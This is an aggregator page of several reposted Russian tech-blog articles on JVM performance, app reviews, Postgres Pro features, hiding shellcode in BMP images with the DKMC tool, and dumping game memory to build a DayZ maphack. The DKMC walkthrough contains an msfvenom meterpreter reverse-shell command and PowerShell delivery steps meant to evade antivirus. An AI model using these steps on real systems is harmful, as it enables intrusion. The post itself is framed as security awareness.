              Я не запрещаю вам делать хаки. Глупо было бы увещевать об этом, вы их всё равно будете делать, потому что иногда по-другому никак. Но удержание численности и плотности хаков в вашем проекте — необходимое условие его выживания.

              Умение работать с upstream-ами (если вы, например, занимаетесь open-source-ом, коммитить свои изменения в репозиторий выше) сильно облегчает вашу же долговременную судьбу. Потому что чем больше ваш внутренний заплатками покрытый продукт разойдется с upstream-ом, тем дороже вам же будет его поддерживать.

              Умение разбираться во всех этих слоях успешно тренируется «на кошках» в том смысле, что у вас наверняка должны быть staging environment, на которых можно хачить и делать всякие нетривиальные изменения.

              Напутствие


              Но вот мы на хардкорной конференции. Что же нам с этим всем богатством делать?
              Если вы на хардкорной конференции и вы — пользователь продуктов, то с моей точки зрения, как человека, который занимается производительностью, вам здесь стоит:

              • обновить запас информации о применимости хаков из красной зоны. Не то чтобы вам прямо сейчас начинать записывать, какие хаки из красной зоны вам внедрить в свой продакшн, а просто обновить этот словарь;
              • найти сообщников и обсудить подходы работы в жёлтой. О том, как точнее профилировать и мониторить и так далее;
              • или обсудить, какие приемы из жёлтой зоны уже завещать в зелёную зону, т.е. какие вещи, которые вы считали раньше обменом сложности на производительность, теперь являются просто стандартной практикой написания кода.

              Если вы — разработчик продукта, то:

              • помочь своим пользователям обсудить подходы работы в жёлтой зоне — как профилировать, как мониторить и так далее;
              • и понять, какие хаки из красной зоны, с которыми люди постоянно сталкиваются, стоит перетащить либо в жёлтую, либо в зелёную зону.


              Пожалуйста, помните, что основная перформансная работа проходит в зелёной зоне. Каждый раз, когда вы занимаетесь производительностью проекта, сначала смотрите на простые вещи. Именно они вам дадут больший выхлоп по производительности. Про них никто не будет рассказывать на конференции, потому что это скучно. Вам обычно будут рассказывать про жёлтую или красную зону, потому что это клёво и поднимает докладчика в своих глазах. Про то, как кто-то героически поменял LinkedList на ArrayList, обычно никто не будет говорить, потому что это как-то стыдно… (конец)



              На Joker 2017 Алексей Шипилёв выступит с новым докладом «Shenandoah: сборщик мусора, который смог (часть 2)» и расскажет о проблемах, с которыми вынужден столкнуться низкопаузный GC вроде Shenandoah, и о том, что с ними можно сделать на уровне JVM. Конференция пройдет 3 и 4 ноября в Санкт-Петербурге. Программа и анонсы других докладов есть на официальном сайте мероприятия.
              Original source: habrahabr.ru (comments, light).

              https://habrahabr.ru/post/338732/


              Метки:  

              [Перевод] Отзывы и комментарии: как извлечь из них пользу и узнать про своих пользоветелей

              Вторник, 26 Сентября 2017 г. 13:47 + в цитатник
              37% создателей приложений заявили, что они редко или никогда не проверяют свои отзывы приложений. А вы?

              «Заблокировали мой аккаунт. Сказали, что прислали код подтверждения, но никогда его не присылали. ТЕПЕРЬ Я ПОТЕРЯЛ ФОТОГРАФИИ СВОЕЙ НОВОРОЖДЕННОЙ ПЛЕМЯННИЦЫ!!! Я со слезами на глазах удаляю это приложение.»
              — отзыв о Dropbox

              Компания Edison Software сделала редизайн сайта. Кстати, отчасти основываясь на отзывах хабрачитателей, мол, устаревший дизайн у вас. Можете заценить обновленный. И они ждут ваших отзывов и комментариев. Но прежде, предлагаем прочитать размышления эксперта по UX, «дизайнера слов» в компании Dropbox, Джона Сайто.

              image

              Стоит ли читать отзывы на приложения?
              Что я узнал, прочитав тысячи отзывов о приложениях

              Недавно я прочитал тысячи отзывов о нашем приложении Dropbox. Можете считать меня сумасшедшим, но это самое захватывающее из всего, что я читал на протяжении года. Я смеялся, я плакал, у меня бабочки порхали в животе.

              Зачем кому бы то ни было в этом мире читать так много отзывов? Ну, у меня был квест. Я хотел узнать больше о наших пользователях и о том, что они думают о нашем продукте. Да, мы и так занимаемся изучением пользователей Dropbox, но я хотел узнать больше. Я хотел услышать людей по всему миру. Я хотел прочитать их реальные слова — тирады, триумфы и т.д

              Вспоминая этот опыт, я должен сказать, что это было невероятно унизительно. Я узнал о наших пользователях такие вещи, которые я бы не узнал никак иначе. Любопытно узнать, что же я узнал? Ниже приведены некоторые из моих самых значительных выводов после прочтения отзывов.
              Читать дальше ->

              https://habrahabr.ru/post/338608/


              Различия Postgres Pro Enterprise и PostgreSQL

              Вторник, 26 Сентября 2017 г. 13:37 + в цитатник
              Igor_Le сегодня в 13:37 Разработка

              Различия Postgres Pro Enterprise и PostgreSQL

                1. Кластер multimaster


                Расширение multimaster и его поддержка в ядре, которые есть только в версии Postgres Pro Enterprise, дают возможность строить кластеры серверов высокой доступности (High Availability). После каждой транзакции гарантируется глобальная целостность (целостность данных в масштабах кластера), т.е. на каждом его узле данные будут идентичны. При этом легко можно добиться, чтобы производительность по чтению масштабировалась линейно с ростом количества узлов.

                В ванильном PostgreSQL есть возможность строить высокодоступные кластеры с помощью потоковой репликации, но для определения вышедших из строя узлов и восстановления узла после сбоя требуются сторонние утилиты, и хитроумные скрипты. multimaster справляется с этим сам, работает из коробки без использования внешних утилит или сервисов.

                Масштабирование по чтению в ванильном PostgreSQL возможно при репликации в режиме горячего резерва (Hot-standby), но с существенной оговоркой: приложение должно уметь разделять read-only и read-write запросы. То есть для работы на ванильном кластере приложение, возможно, придется переписать: по возможности использовать отдельные соединения с базой для read-only транзакций, и распределять эти соединения по всем узлам. Для кластера с multimaster писать можно на любой узел, поэтому проблемы с разделением соединений с БД на пишущие и только читающие нет. В большинстве случаев переписывать приложение не надо.

                Для обеспечения отказоустойчивости приложение должно уметь делать reconnect — т.е. совершать попытку восстановления соединения с базой при его нарушении. Это касается как ванильного кластера, так и multimaster.

                С помощью логической репликации в ванильном PostgreSQL можно реализовать асинхронную двунаправленную репликацию (например BDR от 2ndQuadrant), но при этом не обеспечивается глобальная целостность и возникает необходимость разрешения конфликтов, а это можно сделать только на уровне приложения, исходя из его внутренней логики. То есть эти проблемы перекладываются на прикладных программистов. Наш multimaster сам обеспечивает изоляцию транзакций (сейчас реализованы уровни изоляции транзакций «повторяемое чтение» (Repeatable Read) и «чтение фиксированных данных» (Read Committed). В процессе фиксации транзакции все реплики будут согласованы, и пользовательское приложение будет видеть одно и то же состояние базы; ему не надо знать, на какой машине выполняется запрос. Чтобы этого добиться и получить предсказуемое время отклика в случае отказа узла, инициировавшего транзакцию, мы реализовали механизм 3-фазной фиксации транзакций (3-phase commit protocol). Этот механизм сложнее, чем более известный 2-фазный, поэтому поясним его схемой. Для простоты изобразим два узла, имея в виду, что на самом деле аналогично узлу 2 обычно работает четное число узлов.


                Рис. 1. Схема работы multimaster

                Запрос на фиксацию транзакции приходит на узел 1 и записывается в WAL узла. Остальные узлы кластера (узел 2 на схеме) получают по протоколу логической репликации информацию об изменениях данных и, получив запрос подготовить фиксацию транзакции (prepare transaction) применяют изменения (без фиксации). После этого они сообщают узлу, инициировавшему транзакцию, о своей готовности зафиксировать транзакцию (transaction prepared). В случае, когда хотя хотя бы один узел не отвечает, транзакция откатывается. При положительном ответе всех узлов, узел 1 посылает на узлы сообщение, что транзакцию можно зафиксировать (precommit transaction).

                Здесь проявляется отличие от 2-фазной транзакции. Это действие на первый взгляд может показаться лишним, но на самом деле это важная фаза. В случае 2-фазной транзакции узлы зафиксировали бы транзакцию и сообщили об этом 1-му, инициировавшему транзакцию узлу. Если бы в этот момент оборвалась связь, то узел 1, не зная ничего об успехе/неуспехе транзакции на узле 2, вынужден был бы ждать ответа, пока не станет понятно, что он должен сделать для сохранения целостности: откатить или зафиксировать транзакцию (или фиксировать, рискуя целостностью). Итак, в 3-фазной схеме во время 2-ой фазы все узлы голосуют: фиксировать ли транзакцию. Если большинство узлов готово зафиксировать ее, то арбитр объявляет всем узлам, что транзакция зафиксирована. Узел 1 фиксирует транзакцию, отправляет commit по логической репликации и сообщает метку времени фиксации транзакции (она необходима всем узлам для соблюдения изоляции транзакций для читающих запросов. В будущем метка времени будет заменена на CSN — идентификатор фиксации транзакции, Commit Sequence Number). Если узлы оказались в меньшинстве, то они не смогут ни записывать, ни читать. Нарушения целостности не произойдет даже в случае обрыва соединения.

                Архитектура multimaster выбрана нами с расчетом на будущее: мы заняты разработкой эффективного шардинга. Когда таблицы станут распределенными (то есть данные на узлах уже будут разными), станет возможно масштабирование не только по чтению, но и по записи, так как не надо будет параллельно записывать все данные по всем узлам кластера. Кроме того мы разрабатываем средства общения между узлами по протоколу RDMA (в коммутаторах InfiniBand или в устройствах Ethernet, где RDMA поддерживается), когда узел напрямую общается к памяти других узлов. За счет этого на упаковку и распаковку сетевых пакетов тратится меньше времени, и задержки при передаче данных получаются небольшие. Поскольку узлы интенсивно общаются при синхронизации изменений, это даст выигрыш в производительности всего кластера.

                2. 64-разрядные счетчики транзакций


                Эта принципиальная переделка ядра СУБД нужна только для сильно нагруженных систем, но для них она не просто желательна. Она необходима. В ядре PostgreSQL счетчик транзакций 32-разрядный, это значит, более чем до 4 миллиардов им досчитать невозможно. Это приводит к проблемам, которые решаются «заморозкой» — специальной процедурой регламентного обслуживания VACUUM FREEZE. Однако если счетчик переполняется слишком часто, то затраты на эту процедуру оказываются очень высокими, и могут привести даже к невозможности записывать что-либо в базу. В России сейчас не так уж мало корпоративных систем, у которых переполнение происходит за 1 день, ну а базы, переполняющиеся с недельной периодичностью, теперь не экзотика. На конференции разработчиков PGCon 2017 в Оттаве рассказывали, что у некоторых заказчиков переполнения счетчика происходило за 2-3 часа. В наше время люди стремятся складывать в базы те данные, которые раньше выбрасывали, относясь с пониманием к ограниченным возможностям тогдашней техники. В современном бизнесе часто заранее не известно, какие данные могут понадобиться для аналитики.

                Проблема переполнения счетчика носит название (transaction ID wraparound), поскольку пространство номеров транзакций закольцовано (это наглядно объясняется в статье Дмитрия Васильева). При переполнении счетчик обнуляется и идет на следующий круг.


                Рисунок 2. Как действует заморозка транзакций, отставших больше, чем на полкруга.

                В ванильном PostgreSQL (то есть с заведомо 32-разрядным счетчиком транзакций) тоже что-то делается для облегчения проблемы transaction wraparound. Для этого в версии 9.6 в формат карты видимости (visibility map) был добавлен бит all-frozen, которым целые страницы помечаются как замороженные, поэтому плановая (когда накапливается много старых транзакций) и аварийная (при приближении к переполнению) заморозки происходят намного быстрее. С остальными страницами СУБД работает в обычном режиме. Благодаря этому общая производительность системы при обработке переполнения страдает меньше, но проблема в принципе не решена. Описанная ситуация с остановкой системы по-прежнему не исключена, хоть вероятность ее и снизилась. По-прежнему надо тщательно следить за настройками VACUUM FREEZE, чтобы не было неожиданных проседаний производительности из-за ее работы.

                Замена 32-разрядных счетчиков на 64-разрядные отодвигает переполнение практически в бесконечность. Необходимость в VACUUM FREEZE практически отпадает (в текущей версии заморозка все еще используется для обработки pg_clog и pg_multixact и в экстренном случае, о котором ниже). Но в лоб задача не решается. Если у таблицы мало полей, и особенно если эти поля целочисленные, ее объем может существенно увеличиться (ведь в каждой записи хранятся номера транзакции, породивших запись и той, что эту версию записи удалила, а каждый номер теперь состоит из 8 байтов вместо 4). Наши разработчики не просто добавили 32 разряда. В Postgres Pro Enterprise верхние 4 байта не входят в запись, они представляют собой «эпоху» — смещение (offset) на уровне страницы данных. Эпоха добавляется к обычному 32-разрядному номеру транзакции в записях таблицы. И таблицы не распухают.

                Теперь, если система попытается записать XID, который не помещается в диапазон, определенный эпохой для страницы, то мы должны либо увеличить сдвиг, либо заморозить целую страницу. Но это безболезненно выполняется в памяти. Остается ограничение в случае, когда самый минимальный XID, который еще может быть востребован снимками данных (snapshots), отстанет от того, который мы хотим записать в эту страницу, больше, чем на 232. Но это маловероятно. К тому же в ближайшее время мы скорее всего преодолеем и это ограничение.

                Другая проблема 32-разрядных счетчиков в том, что обработка переполнений очень сложный процесс. Вплоть до версии 9.5 в соответствующем коде находили и исправляли весьма критичные баги, и нет гарантий, что баги не проявятся в следующих версиях. В нашей реализации 64-разрядного счетчика транзакций заложена простая и ясная логика, поэтому работать с нею и дальше ее развивать будет проще, чем бороться с переполнением.

                Файлы данных систем с 64-разрядными счетчиками бинарно несовместимы с 32-разрядными, но у нас есть удобные утилиты для конвертации данных.

                3. Постраничное сжатие


                В PostgreSQL, в отличие от большинства других СУБД, отсутствует сжатие (компрессия) на уровне страниц (page level compression). Сжимаются только TOAST-данные. Если в БД много записей с относительно небольшими текстовыми полями, то сжатием можно было бы в несколько раз уменьшить размер БД, что помогло бы не только сэкономить на дисках, но и повысить производительность работы СУБД. Особенно эффективно могут ускоряться за счет сокращения операций ввода-вывода аналитические запросы, читающие много данных с диска и не слишком часто изменяющие их.

                В Postgres-сообществе предлагают использовать для сжатия файловые системы с поддержкой компрессии. Но это не всегда удобно и возможно. Поэтому в Postgres Pro Enterprise мы добавили собственную реализацию постраничного сжатия. По результатам тестирования у различных пользователей Postgres Pro размер БД удалось уменьшить от 2 до 5 раз.

                В нашей реализации страницы хранятся сжатыми на диске, но при чтении в буфер распаковываются, поэтому работа с ними в оперативной памяти происходит точно так же, как обычно. Разворачивание сжатых данных и их сжатие происходит быстро и практически не увеличивает загрузку процессора.

                Поскольку объем измененных данных при сжатии страницы может увеличиться, мы не всегда можем вернуть ее на исходное место. Мы записываем сжатую страницу в конец файла. При последовательной записи сбрасываемых на диск страниц может значительно возрасти общая производительность системы. Это требует файла отображения логических адресов в физические, но этот файл невелик и издержки незаметны.

                Размер самого файла при последовательной записи увеличится. Запуская по регламенту или вручную сборку мусора, мы можем периодически делать файл компактнее (дефрагментировать его), перемещая все непустые страницы в начало файла. Собирать мусор можно в фоновом режиме (блокируется страница, но не вся таблица), причем мы можем задать число фоновых процессов, собирающих мусор.
                Сжатие (алгоритм) Размер (Гб) Время (сек)
                без сжатия 15.31 92
                snappy 5.18 99
                lz4 4.12 91
                postgres internal lz 3.89 214
                lzfse 2.80 1099
                zlib (best speed) 2.43 191
                zlib (default level) 2.37 284
                zstd 1.69 125
                Сравнение механизмов компрессии. Параметры теста: pgbench -i -s 1000

                Для сжатия мы выбрали современный алгоритм zstd (его разработали в Facebook). Мы опробовали различные алгоритмы сжатия, и остановились на zstd: это лучший компромисс между качеством и скоростью сжатия, как видно из таблицы.

                4. Автономные транзакции


                Технически суть автономной транзакции в том, что эта транзакция, выполненная из основной, родительской транзакции, может фиксироваться или откатываться независимо от фиксирования/отката родительской. Автономная транзакция выполняется в собственном контексте. Если определить не автономную, а обычную транзакцию внутри другой (вложенная транзакция) то внутренняя всегда откатится, если откатится родительская. Такое поведение не всегда устраивает разработчиков приложений.

                Автономные транзакции часто используются там, где нужны логирование действий или аудит. Например, необходима запись о попытке некоторого действия в журнал в ситуации, когда транзакция откатывается. Автономная транзакция позволяет сделать так, чтобы «чувствительные» действия сотрудников (просмотр или внесение изменений в счета клиентов) всегда оставляли следы, по которым можно будет в экстренной ситуации восстановить картину (пример на эту тему будет ниже).

                В таких СУБД как Oracle и DB2 (но не MS SQL) автономные транзакции формально задаются не как транзакции, а как автономные блоки внутри процедур, функций, триггеров и неименованных блоков. В SAP HANA тоже есть автономные транзакции, но их как раз можно определять и как транзакции, а не только блоки функций.

                В Oracle, например, автономные транзакции определяются в начале блока как PRAGMA AUTONOMOUS_TRANSACTION. Поведение процедуры, функции или неименованного блока определяется на этапе их компиляции и во время исполнения меняться не может.

                В PostgreSQL автономных транзакций вообще нет. Их можно имитировать, запуская новое соединение при помощи dblink, но это выливается в накладные расходы, сказывается на быстродействии и попросту неудобно. Недавно, после появления модуля pg_background, было предложено имитировать автономные транзакции, запуская фоновые процессы. Но и это оказалось неэффективно (к причинам мы вернемся ниже, при анализе результатов тестов).

                В Postgres Pro Enterprise мы реализовали автономные транзакции в ядре СУБД. Теперь ими можно пользоваться и как вложенными автономными транзакциями, и в функциях.

                Во вложенных автономных транзакциях можно определять все доступные PostgreSQL уровни изоляции — Read Committed, Repeatable Read и Serializable — независимо от уровня родительской транзакции. Например:

                BEGIN TRANSACTION
                           <..>
                        BEGIN AUTONOMOUS TRANSACTION ISOLATION LEVEL REPEATABLE READ

                                <..> 
                        END;
                END;


                Все возможные комбинации работают и дают разработчику необходимую гибкость. Автономная транзакция никогда не видит результатов действий родительской, ведь та еще не зафиксирована. Обратное зависит от уровня изоляции основной. Но в отношениях их с транзакцией, стартовавшей независимо, будут действовать обычные правила изоляции.

                В функциях синтаксис немного отличается: ключевое слово TRANSACTION выдаст ошибку. Автономный блок в функции определяется всего лишь вот так:

                CREATE FUNCTION <..> AS
                BEGIN;
                        <..>
                        BEGIN AUTONOMOUS
                                <..>
                        END;
                END;

                Соответственно уровень изоляции задать нельзя, он определяется уровнем родительской транзакции, а если он явно не задан, то уровнем по умолчанию.

                Приведем пример, который считается одним из классических в мире коммерческих СУБД. В некотором банке в таблице customer_info хранятся данные клиентов, их долги

                CREATE TABLE customer_info(acc_id int, acc_debt int);
                INSERT INTO customer_info VALUES(1, 1000),(2, 2000);


                Пусть эта таблица будет недоступна напрямую сотруднику банка. Однако они имеют возможность проверить долги клиентов с помощью доступной им функции:

                CREATE OR REPLACE FUNCTION get_debt(cust_acc_id int) RETURNS int AS
                $$
                DECLARE
                        debt int;
                BEGIN
                        PERFORM log_query(CURRENT_USER::text, cust_acc_id, now());
                        SELECT acc_debt FROM customer_info WHERE acc_id = cust_acc_id INTO debt;
                        RETURN debt;
                END;
                $$ LANGUAGE plpgsql;


                Перед тем, как подсмотреть данные клиента, функция записывает имя пользователя СУБД, номер эккаунта клиента и время операции в в таблицу лог:

                CREATE TABLE log_sensitive_reads(bank_emp_name text, cust_acc_id int, query_time timestamptz);

                CREATE OR REPLACE FUNCTION log_query(bank_usr text, cust_acc_id int, query_time timestamptz) RETURNS void AS
                $$
                BEGIN
                        INSERT INTO log_sensitive_reads VALUES(bank_usr, cust_acc_id, query_time);
                END;
                $$ LANGUAGE plpgsql;


                Мы хотим, чтобы сотрудник имел возможность осведомиться о долгах клиента, но, дабы не поощрять праздное или злонамеренное любопытство, хотим всегда видеть в логе следы его деятельности.

                Любопытный сотрудник выполнит команды:

                BEGIN;
                SELECT get_debt(1);
                ROLLBACK;


                В этом случае сведения о его деятельности откатятся вместе с откатом всей транзакции. Поскольку нас это не устраивает, мы модифицируем функцию логирования:

                CREATE OR REPLACE FUNCTION
                        log_query(bank_usr text, cust_acc_id int, query_time timestamptz) RETURNS void AS
                $$
                BEGIN
                        BEGIN AUTONOMOUS
                                INSERT
                INTO log_sensitive_reads VALUES(bank_usr, cust_acc_id, query_time);
                        END;
                END;
                $$ LANGUAGE plpgsql;


                Теперь, как бы не старался сотрудник замести следы, все его просмотры данных клиентов будут протоколироваться.

                Автономные транзакции удобнейшее средство отладки. Сомнительный участок кода успеет записать отладочное сообщение перед тем, как неудачная транзакция откатится:

                BEGIN AUTONOMOUS
                         INSERT
                INTO test(msg) VALUES('STILL in DO cycle. after pg_background call: '||clock_timestamp()::text);
                END;


                В заключение о производительности. Мы тестировали нашу реализацию автономных транзакций в сравнении с теми же SQL без автономных транзакций, с решением с «голым» dblink, комбинацию dblink с pgbouncer и с контролем соединения.

                Расширение pg_background создает три функции: pg_background_launch(query) запускает фоновый процесс background worker, который будет исполнять переденный функции SQL; pg_background_result(pid) получает результат от процесса, созданного pg_background_launch(query) и pg_background_detach(pid) отсоединяет фоновый процесс от его создателя. Код, исполняющий транзакцию не слишком интуитивный:

                PERFORM * FROM pg_background_result(pg_background_launch(query))
                AS (result text);


                Но более существенно, что, как и ожидалось, создание процесса на каждый SQL работает медленно. Из истории создания pg_background известно, что предполагалась четвертая функция pg_background_run(pid, query), которое передает новое задание уже запущенному процессу. В этом случае время на создание процесса не будет тратиться на каждый SQL, но это функция недоступна в текущей реализации.

                Роберт Хаас, создавший первую версию pg_background, говорит:
                «Я скептически отношусь к такому подходу [к имитации автономных транзакций при помощи pg_background]. Как и Грег Старк, Серж Рило и Константин Пан, я полагаю, что автономные транзакции следует выполнять внутри одного и того же серверного процесса [backend], не полагаясь на фоновые процессы [background_workers]. При таком подходе мы вряд ли выйдем за лимит числа фоновых процессов [max_worker_processes], и работать он, скорее всего, будет эффективнее, особенно когда автономная транзакция выполняет небольшую работу, внося, скажем, небольшую запись в дневник».

                Именно так и реализован наш вариант автономных транзакций: материнский процесс запоминает свой контекст, переключается на новый и, после исполнения автономной транзакции, возвращается к материнскому. Результаты тестов подтверждают соображения Хааса, механизм, использующий pg_background работает в 6-7 раз медленнее, чем автономные транзакции в Postgres Pro Enterprise.


                Рис. 3. Производительность различных реализаций автономных транзакций. Тесты проводились нами на базе pgbech с INSERT в таблицу pgbench_history. Коэффициент масштабирования при инициализации БД был равен 10. TPS на «чистом» SQL принят за 100.

                PS. Мы будем рады узнать ваше мнение об актуальности и возможных применениях этих новшеств!
                Original source: habrahabr.ru (comments, light).

                https://habrahabr.ru/post/337180/


                Метки:  

                Кот или шеллКод?

                Вторник, 26 Сентября 2017 г. 13:37 + в цитатник
                antgorka сегодня в 13:37 Разработка

                Кот или шеллКод?



                  Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).

                  В чем суть?


                  Посмотрите на изображение ниже



                  Видите ли вы в нем что-то странное?

                  Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.



                  Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.



                  Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

                  Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.

                  Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

                  Для этого может использоваться, например, набор PowerShell команд.

                  Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

                  Это правда работает?


                  Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

                  Запуск

                  python dkmc.py

                  Нам доступно несколько действий



                  Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

                  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

                  Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

                  Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем



                  Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen



                  и получаем вывод

                  (generate)>>> run
                  	[+] Image size is 1000 x 700
                  	[+] Generating obfuscation key 0x14ae6c1d
                  	[+] Shellcode size 0x14d (333) bytes
                  	[+] Adding 3 bytes of padding
                  	[+] Generating magic bytes 0x4d9d392d
                  	[+] Final shellcode length is 0x19f (415) bytes
                  	[+] New BMP header set to 0x424de9040a2000
                  	[+] New height is 0xb7020000 (695)
                  	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)
                  

                  Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

                  Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения



                  и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения



                  Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы



                  Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера



                  Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.
                  Original source: habrahabr.ru (comments, light).

                  https://habrahabr.ru/post/338670/


                  Метки:  

                  [Из песочницы] Дампим память и пишем maphack

                  Вторник, 26 Сентября 2017 г. 13:34 + в цитатник
                  EvilWind сегодня в 13:34 Разработка

                  Дампим память и пишем maphack

                  image


                  В один из вечеров школьного лета, у меня появилась потребность в мапхаке для DayZ Mod (Arma 2 OA). Поискав информацию по теме, я понял, что связываться с античитом Battleye не стоит, ибо нет ни знаний, ни опыта для обхода защитного драйвера ядра, который вежливо расставил кучу хуков на доступ к процессу игры.


                  DayZ одна из немногих игр, где расположение важных для игрового процесса объектов, меняется не часто и сохраняется после перезахода(базы не двигаются, большинство техники тоже много времени стоит на месте). Этот факт открывает возможность атаки через дамп оперативной памяти.


                  Все ссылки в конце.


                  Глава 1. Дампим


                  Получить снимок памяти в рантайме без обхода античита, врядли получится. Поэтому ищем другие тактики. Первое, что находим это хабрастатья, из которой становится понятно куда копать.


                  Попытка 1


                  Получить образ памяти через описанный в статье хотресет, загрузку с Ubuntu CyberPack (IRF) и получение образа через fmem, мне не удалось, по невыясненным причинам fmem зависал.
                  Немного погуглив находим альтернативную тулзу, с таким же функционалом LiME ~ Linux Memory Extractor. Теперь её нужно было собрать и запустить на livecd.
                  Выбор дистрибутива пал на TinyCore(TinyCorePure64, если сдампить нужно более 3 ГБ). Загрузившись с него качаем и устанавливаем пакеты.


                  tce-load -iw linux-kernel-sources-env.tcz
                  cliorx linux-kernel-sources-env.sh

                  Далее монтируем флешку с сорцами, куда также будем скидывать дамп, собираем через make и получаем образ


                  insmod ./lime.ko "path=/path/mem-image.lime format=lime"

                  Теперь этот файл нужно кому-то скормить, чтобы на выходе получить память нужного нам процесса. Для этого нам должен был подойти Volatility Framework с плагином memdump.


                  vol.py -f F:\mem-image.lime format=lime pslist
                  vol.py -f F:\mem-image.lime format=lime memdump –dump-dir ./output –p 868

                  Или Rekall Framework, который является его форком и активно развивается, в отличии от самого volatility


                  rekal -f F:\mem-image.lime pslist
                  rekal -f F:\mem-image.lime memdump dump_dir="./output", pids=868

                  Однако что я бы не делал, заводиться он не захотел и я продолжил копать.


                  При работе с Rekall на windows 10, при первом поиске чего-либо по дампу может появиться сообщение вида:


                  WARNING:rekall.1:Profile nt/GUID/F6F4895554894B24B4DF942361F0730D1 fetched and built. Please consider reporting this profile to the Rekall team so we may add it to the public profile repository.

                  А в следующий раз, он может упасть с такой ошибкой:


                  CRITICAL:rekall.1:A DTB value was found but failed to verify. See logging messages for more information.

                  Если это произошло, при запуске вам нужно указать параметр --profile со значением профиля, который вам вывело в первый раз.


                  Попытка 2


                  Для получения наиболее полного снимка памяти можно воспользоваться файлом hiberfil.sys, в который сохраняется вся память при переходе винды в гибернацию.


                  Здесь всё ещё проще, переходим в режим гибернации, загружаемся с любого livecd (в моём случае, всё тот-же TinyCore), монтируем системный диск(Read-Only) и флешку, копируем нужный файл.


                  Для TinyCore не забываем установить пакет для поддержки ntfs.


                  tce-load -iw ntfs-3g

                  Через fdisk -l, находим нужные нам логические разделы и монтируем их


                  sudo ntfs-3g -o ro /dev/sda2 /tmp/a1  //Системный диск с Read-Only
                  sudo ntfs-3g /dev/sdc1 /tmp/a2

                  Копируем


                  cp /tmp/a1/hiberfil.sys /tmp/a2

                  Дальше этот файл можно было скормить volatility (поддерживает файл гибернации с win7 или ранее).


                  vol.py imagecopy -f hiberfil.sys -O win7.img

                  Поскольку у меня win10, мне этот вариант не подошёл.
                  Я попробовал отдать файл программе Hibr2bin, которая раньше была тем самым Sandman Framework.


                  HIBR2BIN /PLATFORM X64 /MAJOR 10 /MINOR 0 /INPUT hiberfil.sys /OUTPUT uncompressed.bin

                  Но та выдала непонятный output, с которым отказались работать фреймворки для анализа.
                  На помощь пришёл Hibernation Recon с Free версией, который без проблем дал читаемый для фреймвоков выхлоп.
                  На выходе с memdump мы получаем файл с самой памятью процесса и файл с соотношением виртуальных адресов к адресам в файле.


                  File Address      Length      Virtual Addr
                  -------------- -------------- --------------
                  0x000000000000 0x000000001000 0x000000010000
                  0x000000001000 0x000000001000 0x000000020000
                  0x000000002000 0x000000001000 0x000000021000
                  0x000000003000 0x000000001000 0x00000002f000
                  0x000000004000 0x000000001000 0x000000040000
                  0x000000005000 0x000000001000 0x000000050000
                  0x000000006000 0x000000001000 0x000000051000

                  Глава 2. Пишем мапхак.


                  Для GUI я выбрал Qt.


                  Для начала пишем удобную обёртку для обращения к виртуальной памяти в файле через таблицу.


                  class MemoryAPI
                  {
                  public:
                      MemoryAPI(){}
                      MemoryAPI(QString pathDump, QString pathIDX);
                      //Функции чтения данных по виртуальным адресам
                      quint32 readPtr      (const quint32 offset);
                      qint32  readInt      (const quint32 offset);
                      float   readFloat    (const quint32 offset);
                      QString readStringAscii(const quint32 offset, const quint32 size);
                      QString readArmaString(quint32 offset);
                      //Инициализая обёртки
                      void loadIDX        (QString path);
                      void loadDump       (QString path);
                  
                  private:
                      //Массив с соотношениями виртуальных и физических адресов
                      QVector  memoryRelations;
                      quint32 convertVirtToPhys(const quint32 virt) const;
                      QByteArray readVirtMem(const quint32 baseAddr, const quint32 size);
                      QFile dumpFile;
                  };

                  Каждую строчку idx-файла мы представляем в виде простой структуры.


                  class MemoryRange
                  {
                  private:
                      quint32 baseVirtualAddress;
                      quint32 basePhysicalAddress;
                      quint32 size;
                  };

                  Все функции чтения данных по виртуальным адресам сводятся к вызову этой функции с нужными параметрами.


                  QByteArray MemoryAPI::readVirtMem(const quint32 baseAddr, const quint32 size)
                  {
                      QByteArray result;
                      //Конвертируем адрес
                      quint32 addr = convertVirtToPhys(baseAddr);
                      dumpFile.seek(addr);
                      result = dumpFile.read(size);
                  
                      return result;
                  }

